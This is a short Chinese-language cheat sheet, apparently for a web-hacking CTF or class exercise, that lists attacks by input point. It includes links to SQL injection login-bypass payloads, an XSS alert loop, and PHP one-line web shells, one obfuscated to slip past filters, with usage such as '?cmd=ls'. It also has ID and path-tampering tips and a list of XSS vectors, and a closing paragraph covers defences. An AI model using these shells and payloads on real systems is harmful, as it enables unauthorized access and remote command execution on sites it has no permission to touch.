[cyberchef](https://gchq.github.io/CyberChef/)

## 1 URL輸入框
robots.txt

## 2 帳號輸入(LOGIN) 用來進入後台
使用者登入
SQLi payload
[General](https://github.com/payloadbox/sql-injection-payload-list?tab=readme-ov-file#generic-sql-injection-payloads)
[Auth](https://github.com/payloadbox/sql-injection-payload-list?tab=readme-ov-file#sql-injection-auth-bypass-payloads)
1.成功進入(read)
2.操作(write)

## 3 FOR輸入框/發布event
XSS

<script> for (i = 0; i < 100; i++) {alert(i);} </script>

## 4 台科大大頭貼上傳
[一句話木馬](https://ithelp.ithome.com.tw/articles/10248095?sc=rss.iron)

<?php system($_GET['cmd']); ?>

<?php ('sy'.'stem')($_GET['c'.'m'.'d']); ?>

upload/test.php?cmd=ls
?cmd=cat apple.txt

## 5 URL上看到的話試試看改數字
?client=1
/../ (首首頁)

## 6 MORE XSS

事件處理程序（Event Handlers）：例如 onmouseover, onclick, onload 等。攻擊者可以在輸入中插入 JavaScript 代碼，然後觸發相應的事件來執行惡意代碼。

HTML屬性: 例如 <img src="javascript:alert('XSS')">，這裡利用了src屬性的JavaScript URI，當圖片載入時會執行JavaScript代碼。

HTML實體和轉義序列: 攻擊者可能使用HTML實體或者特殊字符轉義來繞過一些過濾機制，例如 &lt;script&gt; 代替 <script>。

Data URI: 使用 data: URI scheme 可以將腳本嵌入到標籤中，例如 <img src="data:image/gif;base64,JS_CODE_HERE">。

CSS攻擊: 利用CSS來執行JavaScript代碼，例如 background-image: url("javascript:alert('XSS')");。

URL參數: 在URL中插入JavaScript代碼，例如 http://example.com/page?param=<script>alert('XSS')</script>。

非標準屬性和URI Scheme: 一些不常見的HTML屬性和URI Scheme可能存在安全漏洞，攻擊者可能利用這些漏洞進行XSS攻擊。

為了防止XSS攻擊，開發者應該使用適當的輸入驗證和輸出轉義，過濾並清理任何來自用戶的輸入，以確保任何輸入都不包含可執行的JavaScript代碼。此外，還應該使用CSP（Content Security Policy）來限制網頁中可以執行的JavaScript源。